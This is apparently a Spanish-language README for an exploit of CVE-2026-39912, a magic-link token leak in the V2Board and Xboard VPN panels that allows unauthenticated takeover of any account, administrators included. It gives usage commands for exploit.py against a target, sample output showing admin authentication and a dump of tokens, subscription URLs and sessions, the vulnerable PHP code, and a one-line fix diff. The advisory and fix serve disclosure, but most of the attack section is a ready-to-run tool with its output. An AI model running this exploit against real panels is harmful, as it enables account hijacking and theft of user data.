
Xboard / V2Board Toma de control de cuenta sin autenticación - Fuga de token de enlace mágico (CVE-2026-39912)
Fuga de Token de Enlace Mágico en loginWithMailLink
| CVE | CVE-2026-39912 |
| CVSS | 9.1 (Crítico) |
| CWE | CWE-201 (Inserción de Información Sensible en Datos Enviados) |
| Afectados | V2Board >= 1.6.1 hasta 1.7.4 / Xboard todas las versiones hasta 0.1.9+ |
| Corregido | Aún no (V2Board abandonado desde junio de 2023) |
| Divulgado | 2026-04-09 |
| Crédito | Valentin Lobstein (Chocapikk) |
| Informe | chocapikk.com |
| PRs de corrección | V2Board #981 / Xboard #873 |
El endpoint loginWithMailLink devuelve el enlace de inicio de sesión mágico directamente en el cuerpo de la respuesta HTTP en lugar de enviarlo únicamente por correo electrónico. Un atacante no autenticado que conozca un correo electrónico registrado puede tomar el control de cualquier cuenta, incluida la de administrador, con dos peticiones HTTP.
Ambos son paneles VPN/proxy ampliamente desplegados, principalmente en China. ZoomEye muestra más de 7.000 instancias expuestas en internet.
login_with_mail_link_enable debe estar habilitado en la configuración de administrador (no está habilitado por defecto)# Instalar dependencias
pip install requests
# Toma de control de cuenta + volcado de datos
python3 exploit.py http://target:7001 [email protected]
# Guardar volcado en un archivo
python3 exploit.py http://target:7001 [email protected] -o dump.json
$ python3 exploit.py http://target:7001 [email protected]
Xboard / V2Board - Toma de Control de Cuenta sin Autenticación
Fuga de Token de Enlace Mágico (CVE-2026-39912) | por Choc
V2Board >= 1.6.1 | Xboard <= 0.1.9+
45 min desde git clone hasta is_admin: true
[INFO] Solicitando enlace mágico para [email protected]
[INFO] Filtrado: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Autenticado (admin=True)
[INFO] Información de Usuario: OK
[INFO] Suscripción: OK
[INFO] Sesiones Activas: OK
[INFO] Estadísticas: OK
{
"auth": {
"auth_data": "Bearer qCU2d9hS...",
"is_admin": true
},
"dump": {
"User Info": {
"email": "[email protected]",
"uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
...
},
"Subscription": {
"subscribe_url": "http://target:7001/s/324396af...",
...
},
"Active Sessions": [ ... ]
}
}
V2Board (app/Http/Controllers/Passport/AuthController.php):
SendEmailJob::dispatch([...]);
return response([
'data' => $link // Token filtrado a quien llama
]);
Xboard (app/Services/Auth/MailLinkService.php):
$this->sendMailLinkEmail($user, $link);
return [true, $link]; // Mismo fallo, heredado de la bifurcación
- return [true, $link];
+ return [true, true];